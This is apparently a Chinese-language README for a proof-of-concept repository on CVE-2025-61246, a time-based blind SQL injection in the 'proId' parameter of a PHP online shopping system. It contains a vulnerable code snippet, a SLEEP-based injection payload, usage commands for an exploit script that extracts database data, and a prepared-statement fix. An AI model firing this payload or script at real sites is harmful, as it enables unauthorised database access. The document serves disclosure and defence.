
CVE-2025-61246: SQL Injection vulnerability PoC in Online Shopping System PHP
本仓库包含 CVE-2025-61246 的概念验证(PoC),该漏洞是 PHP 在线购物系统应用程序中发现的严重 SQL 注入漏洞。攻击者可通过时间盲注利用该漏洞执行任意 SQL 命令。
/online-shopping-system-php-master/review_action.phpproId漏洞存在于 review_action.php 端点,用户通过 proId 参数提供的输入未经适当清理或使用参数化查询,直接拼接到 SQL 查询中。这使得攻击者可以注入恶意 SQL 载荷,从而:
// 存在漏洞的代码(示例)
$proId = $_POST['proId'];
$query = "SELECT * FROM products WHERE id = " . $proId;
mysqli_query($conn, $query);
攻击者可通过以下方式利用此漏洞:
/online-shopping-system-php-master/review_action.php 发送构造的 POST 请求proId 参数中包含恶意 SQL 载荷proId=1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
本仓库包含:
exploit.py)——用于检测和利用漏洞的 Python 脚本MANUAL_TESTING.md)——手动利用的分步说明docker-compose.yml)——用于安全测试的 Docker 环境REMEDIATION.md)——安全编码实践和补丁Python 3.7+
pip install -r requirements.txt
# 克隆仓库
git clone https://github.com/hackergovind/CVE-2025-61246.git
cd CVE-2025-61246
# 安装依赖
pip install -r requirements.txt
# 运行利用脚本
python exploit.py --url http://target.com/online-shopping-system-php-master/review_action.php
# 仅检测(不进行利用)
python exploit.py --url http://target.com/review_action.php --detect-only
# 提取数据库名称
python exploit.py --url http://target.com/review_action.php --extract-db
# 完全利用,自定义超时
python exploit.py --url http://target.com/review_action.php --timeout 10 --full-exploit
# 使用代理进行测试
python exploit.py --url http://target.com/review_action.php --proxy http://127.0.0.1:8080
成功利用此漏洞可能导致:
// 使用预处理语句的安全实现
$proId = $_POST['proId'];
$stmt = $conn->prepare("SELECT * FROM products WHERE id = ?");
$stmt->bind_param("i", $proId);
$stmt->execute();
$result = $stmt->get_result();
有关详细的修复步骤,请参阅 REMEDIATION.md。
⚠️ 重要提示:此 PoC 仅用于教育目的和授权安全测试。未经授权访问计算机系统是非法的。作者对滥用此信息不承担任何责任。请务必在测试前获得适当授权。
Govind Pratap Singh
本项目采用 MIT 许可证 - 详情请参阅 LICENSE 文件。
负责任披露:如果您发现安全漏洞,请以负责任的方式在公开披露前向供应商报告。